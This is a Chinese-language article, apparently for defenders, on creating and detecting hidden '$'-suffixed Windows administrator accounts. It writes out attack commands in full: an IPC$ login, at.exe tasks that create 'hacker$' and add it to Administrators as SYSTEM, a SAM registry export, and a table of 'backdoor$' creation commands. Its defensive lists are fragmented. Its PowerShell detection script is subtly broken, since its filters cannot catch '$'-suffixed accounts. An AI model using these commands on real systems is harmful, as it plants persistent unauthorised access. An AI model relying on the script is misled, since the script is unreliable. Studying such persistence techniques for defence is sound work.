本文分析 隱藏超級使用者 (Hidden Administrator Account) 建立與偵測技術,旨在協助藍隊/系統管理員理解攻擊者持久化手法,部署有效偵測與緩解。嚴禁用於未授權系統存取。所有技術細節基於公開文獻與 Windows 內建機制。
$ 尾碼帳號在 Net API 與 GUI 的顯示差異net user / net localgroup Administrators:不顯示 以 $ 結尾的帳號lusrmgr.msc (本機使用者和群組) / compmgmt.msc:可見 該帳號wmic useraccount get name / Get-LocalUser (PowerShell):可見HKLM\SAM\SAM\Domains\Account\Users:完整記錄 所有帳號 (含 $ 尾碼),需 SYSTEM 權限讀取445 (SMB)、135 (RPC)、49152-65535 (動態 RPC)
net use \\192.168.1.100\ipc$ "Password123" /user:"Administrator"
at.exe 排程任務以 SYSTEM 權限建立帳號
REM at 要求目標系統時間,攻擊者需先查詢
net time \\192.168.1.100
REM 建立隱藏帳號 hacker$ (密碼 P@ssw0rd)
at \\192.168.1.100 14:30 cmd /c "net user hacker$ P@ssw0rd /add"
REM 加入 Administrators 群組
at \\192.168.1.100 14:31 cmd /c "net localgroup Administrators hacker$ /add"
關鍵點: at 排程任務在 LocalSystem 權限下執行,繞過 UAC、不需 psexec、runas。
REM 匯出 SAM 目標鍵值供離線分析/備份
at \\192.168.1.100 14:32 cmd /c "regedit /e C:\Windows\Temp\sam_backup.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"
攻擊者可離線分析 SAM 結構,或修改 UserFlags 位元進一步操控帳號屬性 (如 ACCOUNTDISABLE、PASSWD_NOTREQD)。
REM PowerShell 基線腳本
$baseline = @("Administrator","Guest","DefaultAccount","WDAGUtilityAccount")
$current = Get-LocalUser | Where-Object {$_.Enabled -eq $true} | Select-Object -ExpandProperty Name
$hidden = $current | Where-Object { $_ -notin $baseline -and $_ -notlike "*$" } # 非標準、非 $ 尾碼
$dollar = $current | Where-Object { $_ -like "*$" -and $_ -notlike "*$*" } # $ 尾碼但非電腦帳號
if ($hidden -or $dollar) { Send-Alert "異常本地帳號: $($hidden + $dollar -join ', ')" }
HKLM\SAM\SAM\Domains\Account\Users\* 的 CreateKey、SetValue、DeleteKeyat.exe / 排程任務異常監控at.exe、schtasks.exe 執行 net user、net localgroupat.exe (「禁止使用 AT 排程工作」) → 強制使用 schtasks 並受完整稽核ShareName: \IPC$、來源 IP、帳號net user /add /expires、WMIC、PowerShell、DSC| 方法 | 指令範例 | 特點 | 偵測難度 |
|---|---|---|---|
| net user | net user backdoor$ P@ss /add /expires:12/31/2025 | 簡單、相容性佳 | 低 (Sysmon 易捕捉) |
| WMIC | wmic /node:TARGET useraccount create name="backdoor$", password="P@ss" | 遠端、WMI 傳輸 | 中 (WMI 稽核可捕捉) |
| PowerShell | New-LocalUser -Name "backdoor$" -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force) -Description "SV" | 物件導向、可管線 | 中 (Script Block Logging 捕捉) |
| DSC | User Backdoor { UserName='backdoor$'; Password=...; Ensure='Present' } | 基礎設施即代碼、持久化 | 高 (需 DSC 引擎稽核) |
隱藏超級使用者技術利用 net user 顯示邏輯與 at SYSTEM 權限排程的「盲區」。藍隊破解的關鍵在於:多源枚舉基線化 (net user + wmic + PowerShell + 登錄表 SAM) → 關鍵寫入點稽核 (SAM、排程任務、IPC$) → 身分驗證強化 (Protected Users、Credential Guard、LAPS)。不要只相信 net user 顯示的列表;真實的帳號地圖,藏在 HKLM\SAM、Event Log、Sysmon 裡。